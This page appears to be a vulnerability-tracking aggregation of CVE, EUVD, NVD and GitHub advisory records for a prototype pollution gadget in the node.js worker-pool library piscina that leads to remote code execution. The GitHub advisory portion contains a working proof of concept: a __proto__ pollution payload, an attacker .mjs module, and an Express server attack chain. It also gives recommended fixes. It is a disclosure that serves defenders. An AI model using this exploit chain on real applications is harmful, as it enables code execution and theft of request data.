piscina: Prototype Pollution Gadget → RCE via inherited options.filename

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Source published

22 Jun 2026 16:50:40 UTC

Source modified

3 Nov 2026 19:14:08 UTC

Observed here

3 Nov 2026 21:57:16 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Source published

Jun 22, 2026, 4:50:40 PM (timezone not stated)

Source modified

Nov 3, 2026, 7:14:08 PM (timezone not stated)

Observed here

7 Nov 2026 12:31:56 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.

Source published

22 Jun 2026 18:16:47 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 14:13:40 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

## Summary `piscina`'s constructor and `run()` paths read the `filename` option via plain member access: ```js // dist/index.js line 92 (constructor) const filename = options.filename ? (0, common_1.maybeFileURLToPath)(options.filename) : null; this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }; // dist/index.js line 616 (run()) run(task, options = kDefaultRunOptions) { if (options === null || typeof options !== 'object') { return Promise.reject(new TypeError('options must be an object')); } const { transferList, filename, name, signal } = options; ``` Both reads fall through the prototype chain when the caller's options object doesn't have `filename` as an own property. When `Object.prototype.filename` is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to `worker_threads.Worker` import and the attacker's `.mjs` runs in the worker. **Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`. ## Impact Two preconditions: 1. **Upstream PP-source** somewhere in the process — common in transitive deps 2. **Attacker-controllable `.mjs`** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain Once both fire: - Every `pool.run(task, opts)` call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — **attacker reads per-request app data** - Attacker controls the return value — caller receives `worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied response fields — **attacker can poison return values to legitimate clients** - Hijack persists until process restart Strictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out). ## Affected versions Empirically verified vulnerable on `[email protected]` (latest stable at time of disclosure). The bug shape is in the constructor's `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected. ## Proof of concept ### A) Minimal in-process PoC ```js import fs from 'fs'; // 1) Drop the attacker module (any path the victim process can read) fs.writeFileSync('/tmp/atk.mjs', ` import fs from 'fs'; fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({ rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1], })); export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); } `); // 2) Upstream PP-source — pollute Object.prototype.filename // (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3, // and ~30 historical PP-source CVEs) const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}'); function vulnMerge(t, s) { for (const k of Object.keys(s)) { if (s[k] !== null && typeof s[k] === 'object') { if (!t[k]) t[k] = {}; vulnMerge(t[k], s[k]); } else t[k] = s[k]; } } vulnMerge({}, payload); // 3) Piscina with empty options inherits the polluted filename const { Piscina } = await import('piscina'); const p = new Piscina({}); // inherits filename const result = await p.run({}); // worker imports /tmp/atk.mjs await p.destroy(); // 4) sentinel exists; attacker fn was called with task data console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8')); console.log('attacker fn returned:', result); // → "attacker-return-{}" ``` ### B) Full-stack HTTP chain (this is the realistic shape) A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` — the standard abort-aware shape. ```js // === server.mjs === import express from 'express'; import { Piscina } from 'piscina'; // Vulnerable PP-source middleware (lodash<4.17.13 equivalent) function vulnMerge(t, s) { for (const k of Object.keys(s)) { if (s[k] !== null && typeof s[k] === 'object') { if (!t[k]) t[k] = {}; vulnMerge(t[k], s[k]); } else t[k] = s[k]; } } // CORRECT pool init at boot const pool = new Piscina({ filename: './valid-worker.mjs', minThreads: 1, maxThreads: 2, }); const config = {}; const app = express(); app.post('/api/settings', express.json(), (req, res) => { vulnMerge(config, req.body); // PP source res.json({ ok: true }); }); app.post('/api/process', express.json(), async (req, res) => { const ac = new AbortController(); const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked res.json({ ok: true, worker_response: result }); }); app.listen(7755); // === Attacker, 3 HTTP requests === // POST /upload → drops /tmp/atk.mjs // POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}} // POST /api/process → pool.run() destructures filename via prototype // → worker imports /tmp/atk.mjs // → attacker fn called with req.body of THIS request // → caller receives attacker-shaped response ``` Empirical observation on `[email protected]` + Node 23.11.0: - Pre-attack `/api/process` returns `{by: 'valid-worker'}` - Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide - Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed: <caller's exfil data>}` - Sentinel file written from inside `piscina/dist/worker.js` with the worker process's uid + env access ## Recommended fix Minimal — own-property guard at both option-read sites: ```js // constructor (line 92) const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename') ? options.filename : null; const filename = userFilename ? (0, common_1.maybeFileURLToPath)(userFilename) : null; // run() (line 616) const safeOpts = Object.create(null); Object.assign(safeOpts, options); // copies own props only? — keeps shape const { transferList, filename, name, signal } = safeOpts; ``` More idiomatic — use a null-prototype working object throughout `this.options`: ```js const safeOpts = Object.create(null); Object.assign(safeOpts, kDefaultOptions, options); this.options = safeOpts; this.options.filename = safeOpts.filename ? (0, common_1.maybeFileURLToPath)(safeOpts.filename) : null; this.options.maxQueue = 0; ``` Either approach closes the gadget without breaking any legitimate caller pattern. The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit. ## Coordination - Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both. - Will not share publicly until GHSA published or 90 days. - Please credit `ridingsa` if you choose to credit a reporter. ## How this was discovered Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.

Source published

18 Jun 2026 13:05:11 UTC

Source modified

10 Sep 2026 03:50:12 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH